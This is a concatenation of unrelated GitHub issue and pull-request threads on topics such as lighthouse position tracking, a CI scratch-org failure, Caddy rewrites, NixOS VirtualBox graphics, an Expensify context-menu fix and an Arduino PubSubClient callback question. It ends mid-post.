Let me give an example of why I think it's so important.  In order to determine the position of the lighthouse, we will need to know the angle between two points and the lighthouse.  Assume a lighthouse at the origin facing +Y.  Now, given two points at (1, 10, 0) and (-1, 10, 0), there will be a vertical sweep delta of 0° (obviously) and a horizontal sweep delta of ~11.4°.  And, the angle the two points make with respect to the lighthouse is also ~11.4°.  Now, if we move both points along the Z axis by 100, they now are at (1, 10, 100) and (-1, 10, 100).  They still have a vertical sweep delta of 0°, and a horizontal sweep delta of 11.4°.  But the angle they make with respect to the lighthouse is now only ~ 1.14°.  Without knowing the absolute sweep angles, we cannot determine the angle between two points and the lighthouse.  (Spreadsheet showing my work)

@mwturvey While I agree that the angles without a static offset makes the absolute location easier I don't think it is absolutely (sorry ;) )necessary.  The HMD will always be able to determine the relative angles between the individual sensors and the LH, which is enough to give you a bearing, attitude and distance to the LH (in the HMD frame of reference). It comes down to which reference frame you build it against, device or LH.
I would probs argue that the devices reference frame may be the easiest as you would then have a single reference frame for both LH while you are trying to work out the relative positions.


Trip Stops Webservice

Input
All params in querystring.

Field Name
Type

trip_id
String

Processing
Get all stops on requested trip.  Return the predicted arrival for each stop (past and present).  Find all upcoming stops that have the possibility of transferring to another route via another stop within 500 feet (extra credit: include longer distance transfers specified in transfers.txt).  Return all upcoming trips within 5 minutes before expected arrival to 40 minutes after expected arrival.
Output
An ordered list of stops that may or may not include a list of transfers that includes transfer stops, routes and times.
Stop Element

Field
Type
Notes

stop_id
String

stop_name
String

expected_arrival
Int
seconds since epoch

transfers
List of TransferStop
optional, only included when possible

TransferStop Element

Field
Type
Notes

stop_name
String

departures
List of TransferDepartures

TransferDepartures Element

Field
Type
Notes

route_short_name
String

trip_headsign
String

expected_departure
Int
Seconds since epoch

{
    "stops": [
        {
            "stop_id": "123abc",
            "stop_name": "1st and Main",
            "expected_arrival":<PHONE_NUMBER>
        },
        {
            "stop_id": "123abc",
            "stop_name": "1st and Pine",
            "expected_arrival":<PHONE_NUMBER>,
            "transfers": [
                {
                    "stop_name": "Pine and 1st Northbound",
                    "departures": [
                        {
                            "route_short_name": "33c",
                            "trip_headsign": "To that place",
                            "expected_departure":<PHONE_NUMBER>
                        },
                        {
                            "route_short_name": "44d",
                            "trip_headsign": "To this place",
                            "expected_departure":<PHONE_NUMBER>
                        }
                    ]
                },
                {
                    "stop_name": "Pine and 1st Southbound",
                    "departures": [
                        {
                            "route_short_name": "33c",
                            "trip_headsign": "To that place",
                            "expected_departure":<PHONE_NUMBER>
                        },
                        {
                            "route_short_name": "44d",
                            "trip_headsign": "To this place",
                            "expected_departure":<PHONE_NUMBER>
                        }
                    ]
                }
            ]
        }
    ]
}

Fixed in 04f432903dfaa4d0534628570ff352f8e245d934


added 404 not found page.

should check font-awesome, currently not working

Fixed few CSS things in the desktop design... All looks good


Replenish DEV Pools - Auto Triggered FAILED (SourceTracking issue)

Describe the bug
When i try to run the Replenish DEV Pools - Auto Triggered it's falling saying that "Failed to execute scripts for<EMAIL_ADDRESS>with alias SO5 due to File not found<EMAIL_ADDRESS>For the Replenish CI Pools all works fine
To Reproduce
I've copied your template
Followed all the steps in the guide
Github Actions is connecting to Dev Hub
Manually trigger the Action Replenish DEV Pools
Expected behavior
Creation and Allocation of Scratch Orgs to Dev Pool
Screenshots
Deploying all packages in the repo to  SO2
Installing Package Dependencies of this repo in SO4
Successfully completed Installing Package Dependencies of this repo in SO4
Deploying all packages in the repo to  SO4
Failed to execute scripts for<EMAIL_ADDRESS>with alias SO5 due to File not found<EMAIL_ADDRESS>Succesfully deleted scratchorg<EMAIL_ADDRESS>Failed to execute scripts for<EMAIL_ADDRESS>with alias SO4 due to File not found<EMAIL_ADDRESS>Succesfully deleted scratchorg<EMAIL_ADDRESS>Failed to execute scripts for<EMAIL_ADDRESS>with alias SO3 due to File not found<EMAIL_ADDRESS>Succesfully deleted scratchorg<EMAIL_ADDRESS>Failed to execute scripts for<EMAIL_ADDRESS>with alias SO2 due to File not found<EMAIL_ADDRESS>Succesfully deleted scratchorg<EMAIL_ADDRESS>Failed to execute scripts for<EMAIL_ADDRESS>with alias SO1 due to File not found<EMAIL_ADDRESS>Succesfully deleted scratchorg<EMAIL_ADDRESS>All requested scratch orgs failed to provision, Please check your code or config
Error: Process completed with exit code 1.
Platform Details (please complete the following information):

OS:
Version [e.g. CLI Version  eg: 1.6.6]
Salesforce CLI(sfdx cli) Version:
CI Platform: Github Actions

Additional context
I've changed the flag enableSourceTracking to false in the project-dev-pool-def.json file and Scratch Orgs were created and allocated without any issues

Can you provide the prepare logs file which will show what happened.

Hi @azlam-abdulsalam here is the zip file
logs_2.zip
.

@nufonsec-kz  Looked at the logs, can you confirm the packages are published
2022-03-21T17:03:16.1278672Z Validating Org Authentication Mechanism..
2022-03-21T17:03:18.2304578Z Git Tag for core missing, This might result in deployment failures
2

Hi Azlam,
Yes, the packages are published. I followed all the instructions from the
docs and I did it before without any issues, only now in a new installation
i'm facing this issue.
Regards
Nuno Fonseca
Managing Director - Head of Architecture
Mobile: +351 963 054 576
E-mail: @.***
http://www.kompetenza.com
On Wed, Mar 23, 2022 at 10:26 AM Azlam @.***> wrote:

@nufonsec-kz https://github.com/nufonsec-kz Looked at the logs, can you
confirm the packages are published
2022-03-21T17:03:16.1278672Z �[95m�[1mValidating Org Authentication
Mechanism..�[22m�[39m
2022-03-21T17:03:18.2304578Z �[93mGit Tag for core missing, This might
result in deployment failures�[39m
2
—
Reply to this email directly, view it on GitHub
https://github.com/Accenture/sfpowerscripts/issues/889#issuecomment-1076201048,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APCHPFP2PJXH4ZN2GNICBSDVBLWTTANCNFSM5QVL74KQ
.
You are receiving this because you were mentioned.Message ID:
@.***>

@nufonsec-kz  Could this be related to this? The authentication to npm might be failing
https://github.com/Accenture/sfpowerscripts/issues/886

@azlam-abdulsalam authentication to npm looks ok. I just checked and my personal token was expired, i generated a new one and still have the same issue.

@nufonsec-kz  Hit us in the slack channel, so we could look into this further

Closing this, as it addressed in the updates to GitHub template


Alternate index

Is it possible to specify an index file other than index.html? This would be equivalent to nginx's 'index' directive.
My use case is serving a scraped copy of a Wordpress blog - a URL ending in /feed should serve the file at /feed/index.xml.
I also want to serve the file with content type application/rss+xml rather than the default application/xml but I believe that's already possible with the existing directives.

Not currently, but you can probably do a manual rewrite that works similarly. You can use the mime directive to serve a Content-Type for .xml files.
Something like this? Maybe @abiosoft would have a better answer :smile::
rewrite {
    {path} {path}/index.xml
}

I thought that might work but wanted to check if there was a simpler way before digging into it. The conditional is a bit tricky - /feed, /category/foo/feed, /feed/podcast should all rewrite to index.xml, but /some-page-with-feed-in-title should not, and /feed/index.xml obviously should not rewrite to /feed/index.xml/index.xml.
Forgot to mention I tried ext .html .htm .xml with no effect.

You can have this in your Caddyfile.
rewrite {
    if_op or
    {path} is /feed
    {path} is /category/foo/feed
    {path} is /feed/podcast
    to {path}/index.xml
}

@mholt: Your suggestion does not appear to work on caddy 0.9.1.
rewrite {
    {path} {path}/index.xml
}

It results in a 404 when accessing the site root.


Please add WebRTC support

I would like to use SignalR as a mediator/rendezvous/fallback for WebRTC.  It would be great if I could facilitate direct peer to peer communications via signal r.
I realize this is a big enhancement.
Thanks for all your hard work.

We don't have any plans right now to enable peer-to-peer support using something like WebRTC. It's something we could keep in mind for the future, but we've got a pretty full queue of work already :). What's the specific scenario you think would work well here?

Yes or in the least just have a sample that uses SignalR as a rendezvous server for WebRTC


User Defined Cover

Hi there
I can see that there is a TODO to implement a cover defining API. I was wondering what is the best way of creating a user-defined cover at the moment (if it is possible at all). From what I can tell, we are currently restricted to a (n_bins, overlap_perc) method. Is it possible to define a cover explicity (for one or more dimensions in the lens), using cutoff values or similar (like, setting the maximum and minimum values of the covering space in each dimension)? I ask because in its current implementation I think the [non-]presence of an outlier can skew the covering space quite drastically
Let me know what my options are for the covering space. I would also be interested to know the status of the above TODO. More information as to how the cover class currently works might also be useful if I was going to write my own.
Thanks!
Edit: I've modified the code such that you can pass kmapper.map a CoverBounds variable.
if CoverBounds == None: Normal behavior
However, CoverBounds can also be a (ndim_lens, 2) array, with min, max for every dimension of your lens. If the default behavior is fine for a particular dimension, pass it np.float('inf'), np.float('inf').
For example, if I have a lens in R2 and want to set the maximum and minimum of the second dimension to be 0 and 1, I can pass:
mapper.map(CoverBounds = np.array([[np.float('inf'), np.float('inf')],[0,1]])) and that should have the desired behavior.
Edit 2: Might change it so rather than inf detection, works off None detection in the CoverBounds array.
I think a system designed like this should produce exactly the same cover, independent of input data limits.
Devs - let me hear your thoughts on this - I can clean up and submit a pull request.

hi @leesteinberg. This sounds like a great new feature to add to the library.
Have you seen the cover class implementation? /kepler-mapper/cover.py?
To define your own cover, you could inherit from Cover and change the define_bins method:
class CoverBounds(Cover):
    def __init__(self, bounds):
          self.bounds = bounds

    def find_bins(self, data):
           # return a set of cover elements according to the new bins.

Submitted pull request #98 implementing CoverBounds class as discussed.

Thanks for working on this @leesteinberg!


feat: move actions to dedicated package, move to typescript, packagin…

This pull request contains the cascading action as well as the move of all the other github actions to a dedicated folder. It aims to have the project white listed so all actions can be reused in other projects.
The current recommanded strategy to expose typescript actions is to use ncc to create a standalone index.js, and version it inside the repository so it can be checked out. Even if the solution is not perfect (we need to be careful in future changes to run the package command and add the changes).

Why targeting release/8.0?

Why targeting release/8.0? As feature it should target main branch

Why targeting release/8.0? As feature it should target main branch

In the end this is more a feature for us than for our users, since it improves our pipeline. If we consider that the fixes that will be merged on 8.0 should be cascade on main, I think we should consider merging this one on 8.0

Why targeting release/8.0? As feature it should target main branch

In the end this is more a feature for us than for our users, since it improves our pipeline. If we consider that the fixes that will be merged on 8.0 should be cascade on main, I think we should consider merging this one on 8.0

The purpose of this PR is to expose it outside of this repo (even if today it is only for our private repo only), it will be exposed anyway.
Moreover, let's respect our own guideline and, as a new feature, integrate it to the alpha version.
I do not really see reason to be applied as patch to a released version. Do we have an emergency on it that I don't see?

Why targeting release/8.0? As feature it should target main branch

In the end this is more a feature for us than for our users, since it improves our pipeline. If we consider that the fixes that will be merged on 8.0 should be cascade on main, I think we should consider merging this one on 8.0

The purpose of this PR is to expose it outside of this repo (even if today it is only for our private repo only), it will be exposed anyway. Moreover, let's respect our own guideline and, as a new feature, integrate it to the alpha version. I do not really see reason to be applied as patch to a released version. Do we have an emergency on it that I don't see?

I'm not sure I get your point, today the cascading is not in the pipeline at all, this PR is not only about exposing it, but as well using it in the repository itself (+ being able to target it from internal repository). It only contains enhancements for the pipeline, nothing that is part of our published packages, and today fixes merged on release/8.0 needs to be cherry picked on main as well.

You should add these new packages in the list in .github\ISSUE_TEMPLATE\1-O3R-ISSUE-FORM.yaml

As we need to stock JS resulting of a build in git, we should check that they are still up-to-date with the TS source code associated.
I think you should add a check (in code-check workflow?) that rebuild the packages and compare the result, when one of the github action packages has been touched, to guaranty the consistency

As we need to stock JS resulting of a build in git, we should check that they are still up-to-date with the TS source code associated. I think you should add a check (in code-check workflow?) that rebuild the packages and compare the result, when one of the github action packages has been touched, to guaranty the consistency

The current packaging strategy (recommanded by github) won't ensure a 0 diff on the packaged output :

We will have a diff at each new generation, so we will need to post process it to try to determine whether it comes from the packaging or not, looks a bit complex and unstable, for a low gain.


Update plugin.xml id to be consistent with npm

right now your npm id is branch-cordova-sdk but the plugin id is io.branch.sdk.  As a result, you have to add the plugin using branch-cordova-sdk but you have to remove the plugin using the plugin.xml id which is io.branch.sdk.
These id's should be consistent so theres no issues using the Cordova CLI

Hello,
I apologize for this, we are using semantic release for our versioning and it is not properly updating our package.json and plugin.xml. I have just pushed a new update to the SDK with theses values manually changed.
I will look into what went wrong and hopefully automate this process in the future.
I apologize for the inconvenience this may have caused.
Thanks,

Hello @djett41,
I have made the following code modification so this error should not happen in the future:
https://github.com/BranchMetrics/cordova-ionic-phonegap-branch-deep-linking/commit/98139def4ac9c2fc946d7161fc58f59036fa8130, https://github.com/BranchMetrics/cordova-ionic-phonegap-branch-deep-linking/commit/3b0c9ccccbc652384cb13b4b5e341e41800e8c57, https://github.com/BranchMetrics/cordova-ionic-phonegap-branch-deep-linking/commit/5071dcb333ecac305561af54aadfd083bb4afc79
Whenever you are importing Branch, be sure to add the spec field so you pull in the correct version:
exact: <plugin name="branch-cordova-sdk" spec="2.5.0" />
major+: <plugin name="branch-cordova-sdk" spec="^2.5.0" />
minor+: <plugin name="branch-cordova-sdk" spec="~2.5.0" />
Thank you for bringing this to our attention.
Best,

awesome thanks!


Incorrect identification

Description
If the main language is set to Simplified Chinese, ocr can recognize English but not Korean text, and if the main language is set to Korean, it can't recognize Chinese text.
I don't know if it's a bug or it doesn't support multi-language recognition in the first place?
Steps To Reproduce
No response
Current Behaviour
No response
Expected Behaviour
No response

This issue is not related to the API or extensions. Could you please use the Send Feedback command inside Raycast or use the #help or #bugs channel in our Slack Community 😊


Missing Property office in package sp-webpart-base interface ISDKs

What type of issue is this?
Question
What SharePoint development model, framework, SDK or API is this about?
💥 SharePoint Framework
Target SharePoint environment
SharePoint Online
What browser(s) / client(s) have you tested

[ ] 💥 Internet Explorer
[ ] 💥 Microsoft Edge
[ ] 💥 Google Chrome
[ ] 💥 FireFox
[ ] 💥 Safari
[ ] mobile (iOS/iPadOS)
[ ] mobile (Android)
[ ] not applicable
[ ] other (enter in the "Additional environment details" area below)

Additional environment details

browser version edge current version
SPFx version 1.13
Node.js version V12
Package "@microsoft/sp-webpart-base"

Issue description
package "@microsoft/sp-webpart-base"
export declare interface ISDKs {
    microsoftTeams?: IMicrosoftTeams;
    /**
     * Contextual information about the current Office app. This object will only be defined if
     * a component is being hosted in an Office app.
     *
     * @remarks
     * For more information, please see:
     * {@link https://docs.microsoft.com/en-us/office/dev/add-ins/develop/understanding-the-javascript-api-for-office}
     *
     * @beta
     */
    office?: IOffice;
}

Since Version 1.10.0-plusbeta  the context Property sdks has two properties

this.context.sdks.microsoftTeams
this.context.sdks.office

in the package non plusbeta the context Property sdks have only one property

this.context.sdks.microsoftTeams

SPFx 1.13.0 and 1.13.1 have no plusbeta package(or I have not found it).
Will this Feature dropped?

Hello @petkir,
Generally speaking, office sdk is deprecated.
It is still available in beta versions of the packages (you can npm i beta versions), but I would not recommend to use it.


Add Single Page to existing heirarchy

Installing a single page programatically from a package to existing hierarchy - for example to Dashboard/System/Environment - produces a single page that does not seem to be linked to its respective controller. When viewing the page, the page name does not appear and it is not possible to access controller methods via $this->controller nor pass data from controller to view using $this->set($key, $var)
No such problem when installing to Dashboard.

Close/delete this. I was using the controller.php in a folder representing the node. Renaming the controlle.php to represent the node and moving it up works.

Can you be a bit more elaborate on what your directory structure looks like? I believe I am facing the same problem, but what I picked up from how you fixed it did not fix it for me.


Sync already deleted apps

I installed several apps through Applite and then uninstalled them through CleanMyMac X. But Applite doesn't track these changes.

Applite uses Homebrew as its backend. Homebrew is used to download, uninstall, and manage the applications. Homebrew keeps track of the apps it installs and Applite uses that to get information about the installed applications, so any app installed or uninstalled manually will not be recognized.

Originally posted by @milanvarady in https://github.com/milanvarady/Applite/issues/54#issuecomment-2028623729

Oh, I see, thank you!


nixos/virtualbox-guest: support VMSVGA graphics adapter

This makes VMSVGA the default and recommended graphics adapter for virtualbox.
Motivation for this change
Currently with virtualbox 6.1.6 guest resizing is broken.
Also Virtualbox complains that VBoxVGA is not the recommended graphics adaptere for linux guests, and that VMSVGA should be used. In never versions of Virtualbox (6.1+) VMSVGA seems to be the only adapter supporting 3D acceleration (https://github.com/NixOS/nixpkgs/issues/81850).
This PR makes VMSVGA work out of the box in NixOS, including Auto resize and 3D acceleration.
Things done
I tested the resulting machine with:

VMSVGA with 3D (OK)
VMSVGA without 3D (OK)
VBoxVGA (OK, no auto resize)

VBoxVGA is still supported, but I could not test autoresizing as it is currently broken, even before my changes.

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

@bachp thanks for this, I run into this issue and was looking for a solution.
One question, I noticed that VBoxClient --vmsvga when running as root also resizes the screen, while seems like currently what's started is VBoxClient --vmsvga-x11 which uses xrandr. Is there a benefit of libxrandr over DRM?
I'm also wondering if virtualbox guest addition should install libnotify when that package is installed with x11, when I added this package the error popup shows up, which would help diagnosing problems like this in the future.
Will this be backported in 20.03?

AFAIK the VBoxVGA model is somewhat deprecated / in maintenance mode, so switching to VMSVGA is the right choice.
I've also verified that the screen resizing now works with VMSVGA

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/does-anybody-have-working-automatic-resizing-in-virtualbox/7391/4

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/does-anybody-have-working-automatic-resizing-in-virtualbox/7391/6

Indeed looks like it is needed. Without it, the appliance built with nix-build nixos/release.nix -A ova.x86_64-linux is imported with VBoxVGA as graphics controller; with it it uses VMSVGA correctly so we need that to match the documentation.

@jtojnar I updated the PR to make vmsvga the default adapter on the generated OVA.
@takeda I couldn't get VBoxClient --vmsvga working, even when running as root.

@bachp I was able to run it by adding:
 systemd.services.virtualbox-resize = {
    description = "VirtualBox Guest Screen Resizing";

    wantedBy = [ "multi-user.target" ];
    requires = [ "dev-vboxguest.device" ];
    after = [ "dev-vboxguest.device" ];

    unitConfig.ConditionVirtualization = "oracle";

    serviceConfig.ExecStart =<EMAIL_ADDRESS>-fv --vmsvga";
  };

to configuration.nix, note that VBoxClient --vmsvga-x11 should be removed from VBoxClient-all.
Looking at other distros they also add it as a service.

@takeda I think we should take this up in a separate PR improving on this one. Are you OK with this?

@bachp sorry I just noticed your response. Yes, I think it is better to have something working right now than nothing.

Anything remaining here?


Hide disabled actions from main secondary interaction (right click/long tap) report action context menu for System chats

Details

The "Reply in Thread" option should not appear in the secondary interaction (right-click/long tap) context menu for report actions in a report where the user is not permitted to write (i.e., the composer is disabled). This PR resolves this issue.
Fixed Issues

$ https://github.com/Expensify/App/issues/43562
PROPOSAL: https://github.com/Expensify/App/issues/43562#issuecomment-2184831241
Tests

Right-click (or long-press) on a report action in the chat with Expensify to open the context action menu.
Verify that the Reply in thread and Join thread options are absent from the context action menu.

[x] Verify that no errors appear in the JS console

Offline tests

Same as Tests
QA Steps

Same as Tests

[x] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native

Android: mWeb Chrome

iOS: Native
https://github.com/Expensify/App/assets/102477862/847367be-7215-412c-9324-5c1290f4d514

iOS: mWeb Safari
https://github.com/Expensify/App/assets/102477862/be255a93-a5d6-4154-92fc-396da7db1c0c

MacOS: Chrome / Safari
https://github.com/Expensify/App/assets/102477862/de54dae6-23c7-4193-9a4d-e532f443fd09

MacOS: Desktop
https://github.com/Expensify/App/assets/102477862/d771fe01-980e-43bf-b74c-f2a290980e63

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by https://github.com/marcaaron in version: 9.0.5-0 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to staging by https://github.com/marcaaron in version: 9.0.5-2 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
failure ❌

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/Julesssss in version: 9.0.5-13 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/thienlnam in version: 9.0.6-8 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


Presentation from 2020: broken link to subsystems that don't tag for stable (slide 25)

Hi,
in the presentation (./presentations/The_state_of_the_Linux_kernel_security.pdf) slide 25 there's a link to subsystems that refuse to tag for stable, leading to https://groups.google.com/a/google.com/g/kernel-dynamic-tools/c/SZnwXich2tM/m/gTkaJXxxAQAJ , but there's nothing on that page, nor kernel-dynamic-tools seems to exist on lore.k.org. The google group itself https://groups.google.com/a/google.com/g/kernel-dynamic-tools/ says it's inaccessible.
Can somebody please be more specific what subsystem is it and post a working link? Thanks.

Unless @dvyukov has that info, suggest we just close this issue.

Right, it's an internal link. Sorry.
I've tried to find any similar public statements, but it's very hard to google for something like "subsystems don't mark patches for stable" b/c there are lots of LWN articles that mention all of these words...

I'm interested and curious if there's something to improve in the process, or if there's a subsystem not usually hit by security problems that should be more careful about that or what kind of issues/patches slip under the radar even if people care. There was not much to start with in the presentation IIRC, a link to discussion would be best of course, perhaps something for future security presentations.

Frankly I don't know the current status and if/how things have improved. Perhaps @gregkh and @sashalevin can share more on the current status of the stable process:

are there still subsystems that don't mark patches for stable, etc?
what does need improvement in the current stable process?
Is there some link to description of the current status?

One problem that I think still exists is stable patches that don't automatically apply to older trees, such patches may be lost.

Yes, there are currently still some major kernel subsystems that do not mark patches for the stable trees.
I don't know what you mean by "current status" of the stable process, the process is documented in the kernel tree, the status is the daily acceptance of patches marked for stable releases and us digging up and finding more and applying them as well.
For stable patches that do not apply to older trees, the authors are notified and if they think it is relevant, they can provide a working backport.  Everyone is always strongly encouraged to always use the latest LTS release unless they really really think they know what they are doing :)

And invalid link on the above presentation, that's not nice to do drive-by github requests with no context about private presentations...

The presentation is in this git repository, https://github.com/ossf/wg-securing-critical-projects/blob/main/presentations/The_state_of_the_Linux_kernel_security.pdf


Consider creating a way to encode and decode candid from Azle

It might not be that hard to allow encoding and decoding candid in Azle. See here: https://github.com/dfinity/candid/tree/master/tools/didc
We could hopefully import the didc Rust library and expose an encode and decode function, allowing the developer to pass in a string and get back the hex string or the array of bytes, and the reverse process for decoding.
Would this be useful?

This is related: https://github.com/demergent-labs/azle/issues/263
We might be able to just use the dfinity js agent to encode and decode

Implemented, ic.candid_encode and ic.candid_decode


Details missing about autodiscover behavior

[What will happen to exchange online authentication policy will it be enabled]
What will happened to outlook autodiscover it asks for user and password

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: be1e6c9a-9644-6d86-3962-d36bf1efd656
Version Independent ID: 96142d6c-71de-6ea9-0361-dbec82647b15
Content: Set up multifactor authentication for users - Microsoft 365 admin
Content Source: microsoft-365/admin/security-and-compliance/set-up-multi-factor-authentication.md
Service: o365-administration
GitHub Login: @KwekuA
Microsoft Alias: kwekua

@karimzaki Thank you for your feedback. Is your question more on how to enable Modern auth?. If yes, We have that coming in the next document in the list -https://docs.microsoft.com/en-us/microsoft-365/admin/security-and-compliance/enable-modern-authentication?view=o365-worldwide
Hope this helps!
Thanks
Sri

@msbemba Thank you very much for the contribution and sharing this explanation. @karimzaki Hope this comment is helpful for you. If you see a documentation update is required, please feel free to open an issue for the same. We proceed here to close it. Thanks for taking out some time to open the issue. Appreciate and encourage you to do the same in future also.


Adding ROCm support to run_pip_tests.sh (r2.1)

Adding this commit to the release branches

Can one of the admins verify this patch?


[Cosmos] Fix rollup warnings

This PR attempts to fix the rollup warnings(all of them except the warnings related to 'Circular Dependencies') of cosmos during the build step.

Closing this in favour of #5256


feat: add proper logging and error handling system

Description
Add a system for logging info and debug messages as well as error handling.
Motivation
This will allow for easier debugging both when testing locally as well as on a physical device.
Resources
No response
To-do List

[ ] logging and error handling system

@nanderstabel Please update this issue to the latest state and requirements.


feat: add StatusTag

Only haven't understand why you are not merging it to master, but to other branch

Only haven't understand why you are not merging it to master, but to other branch Also let's put a link to the corresponding monday task into description 🙏

I thought I'll be using some changes from the other branch but eventually it didn't matter, I can rebase


az upgrade

This is autogenerated. Please review and update as needed.
Describe the bug
Command Name
az network
Errors:
'create' is misspelled or not recognized by the system.

psutil.AccessDenied (pid=3408)
Traceback (most recent call last):
Lib\site-packages\psutil\_common.py, ln 447, in wrapper
AttributeError: _cache

...

Lib\site-packages\psutil\_pswindows.py, ln 750, in name
Lib\site-packages\psutil\_pswindows.py, ln 681, in wrapper
psutil.AccessDenied: psutil.AccessDenied (pid=3408)

To Reproduce:
Steps to reproduce the behavior. Note that argument values have been redacted, as they may contain sensitive information.

Put any pre-requisite steps here...
az network {} --name {} -g {} --address-prefix {} --subnet-name {} --subnet-prefix {}

Expected Behavior
Environment Summary
Windows-10-10.0.19041-SP0
Python 3.6.8
Installer:

azure-cli 2.22.0 *

Extensions:
aks-preview 0.5.14
quantum 0.3.0

Additional Context

network

@robmaynardjr If you mean to create the vnet, you should use az network vnet create command.
BTW You can always add --help to see the help message of any commands. For example az network vnet --help

You are using a very old version 2.22.0 of Azure CLI that doesn't include the full call stack in az feedback result (https://github.com/Azure/azure-cli/pull/17353). Could you share the full call stack?
For psutil.AccessDenied, it is very likely to be caused by https://github.com/Azure/azure-cli/issues/19193. We will workaround it with https://github.com/Azure/azure-cli/pull/19244.

@kot0dama, I fail to understand the relationship between your problem and the psutil.AccessDenied error. If you have any problem with extension dynamic install, please create a new issue with detailed description. Thanks.

It has the exact same error message, complaining about a command that the user did not run themselves (so I suppose it's an internal step) and this page is the most relevant result when looking for it. I figured it was not a problem to let other users quick check if that was not a limited internet access issue.
I did not open an issue as I couldn't reliably reproduce.


Add support for NumPy/SciPy calculation engine

Add support for vapor for deriving new variables on the fly via NumPy/SciPy

Any variable that requires scipy modules does not work even in VAPOR3.9 release. Please consider to see this again.


setCallback in custom library error

Hi,
I'm writing a custom library sourcing PubSubClient. Everything went well expect for integrating the callback function in my library.
I get the following errors from the Arduino IDE:

Error: no matching function for call to 'PubSubClient::setCallback("<"unresolved overloaded function type">")' client -> setCallback(callback);

In my xxx.h file I declared the following:
class Iotdevice {
...
